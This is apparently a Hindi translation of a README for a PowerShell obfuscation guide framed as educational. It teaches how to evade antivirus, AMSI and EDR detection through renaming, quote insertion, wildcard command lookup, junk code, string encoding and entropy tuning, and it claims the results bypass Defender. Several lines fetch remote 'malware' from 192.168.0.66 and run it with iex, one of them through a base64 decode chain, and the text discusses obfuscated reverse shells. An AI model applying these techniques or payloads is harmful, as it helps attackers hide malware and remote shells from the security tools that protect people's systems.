
PowerShell स्क्रिप्ट्स को मैन्युअल रूप से अस्पष्ट (obfuscate) करने के लिए तकनीकों, उदाहरणों और थोड़े सिद्धांत का एक संग्रह, जो AV चोरी (evasion) प्राप्त करने के लिए है, शैक्षिक उद्देश्यों के लिए संकलित किया गया है। इस रिपॉजिटरी की सामग्री व्यक्तिगत शोध का परिणाम है, जिसमें ऑनलाइन सामग्री पढ़ना और लैब्स तथा पेंटेस्ट्स में परीक्षण-और-त्रुटि प्रयास करना शामिल है।
PowerShell स्क्रिप्ट्स को मैन्युअल रूप से ओबफस्केट करने और सिग्नेचर-आधारित डिटेक्शन को बायपास करने के लिए तकनीकों, उदाहरणों और थोड़े से सिद्धांत का एक संग्रह, जिसे शैक्षिक उद्देश्यों के लिए संकलित किया गया है। इस रिपॉजिटरी की सामग्री व्यक्तिगत शोध का परिणाम है, जिसमें ऑनलाइन सामग्री पढ़ना और लैब्स तथा पेंटेस्ट्स में ट्रायल-एंड-एरर प्रयास शामिल हैं। आपको किसी भी चीज़ को हल्के में नहीं लेना चाहिए।
YouTube वीडियो प्रस्तुति: youtube.com/watch?v=tGFdmAh_lXE
⚠️ अस्वीकरण: इस रिपॉजिटरी में वर्णित तकनीकों और अवधारणाओं का उपयोग उन सिस्टमों तक अनधिकृत पहुंच प्राप्त करने के लिए करना अवैध है जिन्हें परीक्षण करने की आपके पास अनुमति नहीं है। आप अपने कार्यों के लिए स्वयं जिम्मेदार हैं। बुराई मत करो।
वैज्ञानिक शब्द entropy, जिसे आम तौर पर किसी सिस्टम की रैंडमनेस या अव्यवस्था का माप के रूप में परिभाषित किया जाता है, AV इवेज़न में महत्वपूर्ण है। ऐसा इसलिए है क्योंकि मैलवेयर में अक्सर ऐसा कोड होता है जो अत्यधिक रैंडमाइज़्ड, एन्क्रिप्टेड और/या एन्कोडेड (ओबफस्केटेड) होता है, जिससे उसका विश्लेषण करना और इसलिए उसे डिटेक्ट करना कठिन हो जाता है। विभिन्न तरीकों में से एक के रूप में, एंटी-वायरस उत्पाद संभावित रूप से दुर्भावनापूर्ण फाइलों और पेलोड्स की पहचान करने के लिए एन्ट्रॉपी विश्लेषण का उपयोग करते हैं।
इस अवधारणा को समझना महत्वपूर्ण है क्योंकि कोड को ओबफस्केट करते समय, आपको उन परिवर्तनों से उत्पन्न एन्ट्रॉपी परिवर्तन को ध्यान में रखना चाहिए जिन्हें आप करना चुनते हैं। सिग्नेचर तोड़ना आसान है, लेकिन यदि आप एन्ट्रॉपी स्तर पर ध्यान नहीं देते हैं, तो परिष्कृत AV/EDR इसे भाँप लेंगे।
ध्यान रखने योग्य एक सिद्धांत: एन्ट्रॉपी जितनी अधिक होगी, डेटा के ओबफस्केटेड या एन्क्रिप्टेड होने की संभावना उतनी ही अधिक होगी, और फाइल/पेलोड के दुर्भावनापूर्ण होने की संभावना भी उतनी ही अधिक होगी। सौभाग्य से, इसे कम करने के तरीके मौजूद हैं।
Claude E. Shannon ने अपने 1948 के पेपर A Mathematical Theory of Communication में एक सूत्र प्रस्तुत किया था जिसका उपयोग डेटा के एक समूह में एन्ट्रॉपी को मापने के लिए किया जा सकता है। यहाँ Shannon Entropy का एक सरल Python कार्यान्वयन है जिसका उपयोग आप अपने द्वारा विकसित पेलोड्स की एन्ट्रॉपी मापने के लिए कर सकते हैं:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
आप इस ऑनलाइन Shannon Entropy कैलकुलेटर या Microsoft के Sigcheck.exe का उपयोग -a विकल्प के साथ भी कर सकते हैं।
फ्लैग नहीं होने वाला पेलोड वेरिएशन खोजने के लिए ट्रायल-एंड-एरर ओबफस्केशन परीक्षणों में कूदने से पहले परिपक्व और उत्तम तरीका यह है कि स्क्रिप्ट के उन हिस्सों की पहचान की जाए जो मैलवेयर डिटेक्शन को ट्रिगर करते हैं। विशेष रूप से C2 कमांड जैसी छोटी स्क्रिप्ट्स में, आप मामूली बदलाव करके तुरंत रडार से बच सकते हैं।
ऐसे ट्रिगर्स की पहचान करने के लिए एक बेहतरीन टूल है AMSITrigger। यहाँ एक दुर्भावनापूर्ण स्क्रिप्ट वाली फाइल के साथ उपयोग का उदाहरण दिया गया है। लाल क्षेत्र उस हिस्से को दर्शाता है जिस पर ओबफस्केशन लागू किया जाना चाहिए:

आप स्क्रिप्ट को टुकड़े-टुकड़े करके निष्पादित करके भी मैन्युअल रूप से ट्रिगर्स की पहचान कर सकते हैं।
स्क्रिप्ट्स को ओबफस्केट करते समय, वेरिएबल/क्लास/फंक्शन के नामों को रैंडम नामों से बदलना प्राथमिकता होनी चाहिए। इस तरह, अन्य तकनीकों के संयोजन में, आप आसानी से डिटेक्शन को बायपास कर पाएंगे। लेकिन आपको अपने द्वारा विकसित पेलोड्स की एन्ट्रॉपी को ध्यान में रखना चाहिए। निम्नलिखित मानक रिवर्स शेल स्क्रिप्ट पर विचार करें जो आम तौर पर अधिकांश, यदि सभी नहीं, AV द्वारा डिटेक्ट की जाती है:

अब निम्नलिखित ओबफस्केटेड संस्करण पर विचार करें:

इस संस्करण में, सभी वेरिएबल नामों को 32 अक्षरों लंबे रैंडम नामों से प्रतिस्थापित किया गया है। मैंने (pwd).Path को $(gl) से भी बदल दिया है। पेलोड की Shannon entropy 4.96 है। इस लेखन के समय, यह MS Defender और कई अन्य उत्पादों द्वारा डिटेक्ट नहीं होती है:

अब इस संस्करण पर विचार करें:

इस वेरिएशन में भी सभी वेरिएबल नाम बदले गए हैं, लेकिन इस बार नामों में 'f' अक्षरों की x संख्या है, जिसके परिणामस्वरूप पेलोड की एन्ट्रॉपी में महत्वपूर्ण गिरावट आती है। मैंने यहाँ भी (pwd).Path को $(gl) से बदल दिया है। फिर से, इस लेखन के समय, यह MS Defender द्वारा डिटेक्ट नहीं होती है। पेलोड की Shannon entropy 0.76 है।

⚡ ये दोनों वेरिएशन सामान्य AV को बायपास करते हैं, लेकिन दूसरे की एन्ट्रॉपी कम है और EDRs तथा अन्य परिष्कृत एंटी-मैलवेयर इंजनों द्वारा प्रोसेस किए जाने पर इसके बेहतर प्रदर्शन की संभावना अधिक होगी। ⚠️ मैं यह नहीं कह रहा कि इस उदाहरण में दूसरे पेलोड वेरिएशन का बेहतर प्रदर्शन निश्चित रूप से एन्ट्रॉपी स्तर के कारण है (मैं वास्तव में यह नहीं जान सकता, यह लंबाई या दोनों या कौन जाने क्या हो सकता है), लेकिन यह एक महत्वपूर्ण पहलू है जिसे ओबफस्केशन करते समय ध्यान में रखना चाहिए और यह उदाहरण उस अवधारणा को रेखांकित करने के लिए है।
आप PowerShell स्क्रिप्ट में वेरिएबल्स के नामों को रैंडमाइज़ करने के लिए नीचे दी गई स्क्रिप्ट का उपयोग कर सकते हैं। ⚠️ स्क्रिप्ट परफेक्ट नहीं है! यदि आप इसे बड़ी, जटिल PowerShell स्क्रिप्ट्स पर चलाते हैं तो यह उन चीज़ों को बदलकर उनकी कार्यक्षमता को तोड़ सकती है जिन्हें बदलना नहीं चाहिए। इसे सावधानी से उपयोग करें और सतर्क रहें।
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
$True और $False मानों को अन्य बूलियन समकक्षों से बदलना बहुत मज़ेदार और आसान है, जो वस्तुतः असीमित हैं। विशेष रूप से यदि आपने किसी दिए गए पेलोड में डिटेक्शन ट्रिगर की पहचान की है और उसमें $True या $False मान शामिल है, तो आप संभवतः इसे केवल बूलियन विकल्प से बदलकर डिटेक्शन को बायपास कर पाएंगे। नीचे दिए गए सभी उदाहरण True का मूल्यांकन करते हैं। आप अभिव्यक्ति से पहले केवल एक विस्मयादिबोधक चिह्न जोड़कर उन्हें False में बदल सकते हैं (उदाहरण के लिए, ![bool]0x01):
0 या Null या empty string नहीं है, True लौटाएगा:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True लौटाएगा:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True का मूल्यांकन करता है (स्पष्ट है):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True मान ले सकते हैं:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True या False कहने के भद्दे तरीके बनाकर इन सब चीज़ों और अजीब चीज़ों को मिला सकते हैं:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%21%5Bbool%5D%24null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
आप cmdlets को उनके अक्षरों के बीच सिंगल और/या डबल कोट्स जोड़कर ओबफस्केट कर सकते हैं, जब तक कि यह शुरुआत में न हो। यह बहुत प्रभावी है! उदाहरण के लिए, अभिव्यक्ति iex "pwd" को इसके साथ प्रतिस्थापित किया जा सकता है:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
यह थोड़ा गंदा है लेकिन काम आ सकता है। Windows CMD टर्मिनल में, कमांड के अक्षरों के बीच कैरेट (^) प्रतीक जोड़ना संभव है और यह फिर भी सामान्य रूप से व्याख्या किया जाएगा। PowerShell स्क्रिप्ट में, इसका उपयोग करने का एक तरीका हो सकता है:
cmd /c "who^am^i"

मेरे मित्र और महान हैक्सर Karol Musolff (@kmusolff) ने मुझे एक बहुत बढ़िया ट्रिक दिखाई थी। आप Get-Command (या gcm) का उपयोग करके वाइल्डकार्ड्स के माध्यम से किसी भी कमांड का नाम (स्ट्रिंग) प्राप्त कर सकते हैं, जिसमें Path एनवायरनमेंट वेरिएबल ($env:Path) में मौजूद सभी गैर-PowerShell फाइलें शामिल हैं। फिर आप उन्हें & ऑपरेटर के साथ जॉब्स के रूप में चला सकते हैं। उदाहरण के लिए, निम्नलिखित पंक्ति:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
को इस प्रकार ओबफस्केट किया जा सकता है:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
या इससे भी बेहतर, यह वाला, जिसका Shannon entropy मान कम है:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
कुछ लूप्स ऐसे होते हैं जिन्हें अन्य लूप प्रकारों या फंक्शनों से प्रतिस्थापित किया जा सकता है। उदाहरण के लिए, While ($True){ # some code } लूप को निम्नलिखित से प्रतिस्थापित किया जा सकता है:
एक अनंत For लूप
For (;;) { # some code }
एक Do-While लूप
Do { # some code } While ($true)
एक Do-Until लूप
Do { # some code } Until (1 -eq 2)
एक रिकर्सिव फंक्शन
function runToInfinity {
# do something;
runToInfinity;
}
आप cmdlet में पैरामीटर जोड़ने का प्रयास कर सकते हैं। उदाहरण के लिए, निम्नलिखित पंक्ति:
iex "whoami"
को इस प्रकार विस्तारित किया जा सकता है:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
आप निश्चित रूप से इसका विपरीत भी आज़मा सकते हैं।
आप किसी स्क्रिप्ट को रैंडम वेरिएबल्स और फंक्शनों से "प्रदूषित" कर सकते हैं। निम्नलिखित स्क्रिप्ट को दुर्भावनापूर्ण मान लें:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
आप कुछ ऐसा करके इसके सिग्नेचर को तोड़ने में सक्षम हो सकते हैं:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
आप हमेशा किसी स्क्रिप्ट में ऐसे कमांड्स या पूरे कोड ब्लॉक्स की तलाश कर सकते हैं जिन्हें आप समान/समान कार्यक्षमता वाले घटकों से प्रतिस्थापित कर सकते हैं। निम्नलिखित क्लासिक रिवर्स शेल स्क्रिप्ट में, pwd कमांड का उपयोग वर्तमान कार्यशील निर्देशिका प्राप्त करने और शेल के प्रॉम्प्ट मान का पुनर्निर्माण करने के लिए किया जाता है:

(pwd).Path भाग को निम्नलिखित अजीब, अपरंपरागत छोटी स्क्रिप्ट से बदला जा सकता है और यद्यपि इसमें pwd भी शामिल है, यह स्क्रिप्ट की कार्यक्षमता बनाए रखते हुए सिग्नेचर तोड़ने के हमारे उद्देश्य को पूरा करता है:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
बेशक, pwd के लिए सरल विकल्प भी हैं जैसे gl, get-location और cmd.exe /c chdir जो काम कर सकते हैं, विशेष रूप से अन्य तकनीकों के संयोजन में।
स्ट्रिंग्स के साथ जो कुछ भी किया जा सकता है उसका कोई अंत नहीं है। नीचे कुछ दिलचस्प अवधारणाएँ दी गई हैं। उदाहरण 'malware' स्ट्रिंग का उपयोग करते हैं:
कुछ नई लाइनें जोड़ने की कीमत पर, आप एक स्ट्रिंग को here-string में बदल सकते हैं।
यह:
$x = 'echo malware';
iex $x;
इसके समान है:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
काफी सीधा और क्लासिक:
'mal' + 'w' + 'ar' + 'e'
वांछित मान को एक अप्रासंगिक स्ट्रिंग के बीच जोड़ें और इसे प्रारंभ - अंत इंडेक्स के आधार पर निकालने के लिए substring() का उपयोग करें:
'xxxmalwarexxx'.Substring(3,7)
एक जंक स्ट्रिंग बनाएं और regex मैचिंग के माध्यम से इसे वांछित मान से बदलें:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
अपनी स्ट्रिंग को एन्कोड करें और इसे स्क्रिप्ट के भीतर डिकोड करें:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/main/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/main/%5Bbyte%5D0x65))"
यह केवल आपको शुरुआत करने के लिए है। जारी रहेगा...
इधर-उधर कमेंट्स जोड़कर किसी स्क्रिप्ट को ओबफस्केट करना वास्तव में अकेले ही काम कर सकता है।
उदाहरण के लिए, एक रिवर्स शेल कमांड को इस प्रकार ओबफस्केट किया जा सकता है:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> जोड़ा गया)
यह न केवल काम करेगा, बल्कि पेलोड के Shannon entropy मान को भी कम करेगा (बशर्ते आप जटिल रैंडम कमेंट्स का उपयोग न करें)।
कुछ मैलवेयर-जैसी स्ट्रिंग्स होती हैं जो AMSI को तुरंत ट्रिगर कर देंगी और स्क्रिप्ट्स को ओबफस्केट करते समय उन्हें बदलना प्राथमिकता होनी चाहिए। इसे देखें:

टर्मिनल में केवल 'invoke-mimikatz' स्ट्रिंग टाइप करने मात्र से AMSI हड़बड़ा जाता है (स्क्रिप्ट उपस्थित / लोड भी नहीं है)।
ये स्ट्रिंग्स कमेंट्स में भी मिल सकती हैं, इसलिए उन्हें हटाना एक अच्छा विचार है, विशेष रूप से इंटरनेट से प्राप्त FOS संसाधनों से (जैसे GitHub से Invoke-Mimikatz.ps1)।
*आम तौर पर कमेंट्स हटाना एक अच्छा विचार है। यह केवल एक उदाहरण था।
शायद किताब की सबसे पुरानी तरकीब। cmdlets और पैरामीटरों के कैरेक्टर केस को रैंडमाइज़ करना मददगार हो सकता है:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
कभी-कभी केवल वेरिएबल्स और क्लासेस को अलग-अलग स्थानों पर ले जाना काम कर सकता है, विशेष रूप से यदि आपने डिटेक्शन ट्रिगर ढूंढ लिया है और इसमें कुछ वेरिएबल परिभाषा शामिल है जो कहीं और हो सकती है, जैसे स्क्रिप्ट की शुरुआत में।
कभी-कभी, किसी दुर्भावनापूर्ण स्क्रिप्ट को केवल लाइन-दर-लाइन निष्पादित करके AV इवेज़न प्राप्त करना संभव होता है। परिस्थितियों को देखते हुए यह निश्चित रूप से चुनौतीपूर्ण हो सकता है। यदि आप इसे आज़माते हैं, तो उन स्क्रिप्ट ब्लॉक्स से सावधान रहें जिन्हें एक पूरे के रूप में निष्पादित किया जाना चाहिए (जैसे, लूप्स, try-catch ब्लॉक्स, कंडीशनल स्टेटमेंट्स, फंक्शन परिभाषाएँ, आदि)। इसका परीक्षण करने के लिए, आप एक सामान्य PowerShell रिवर्स शेल स्क्रिप्ट (बिना किसी ओबफस्केशन के) ले सकते हैं और इसे लाइन-दर-लाइन निष्पादित कर सकते हैं। क्या यह फ्लैग होती है? ;)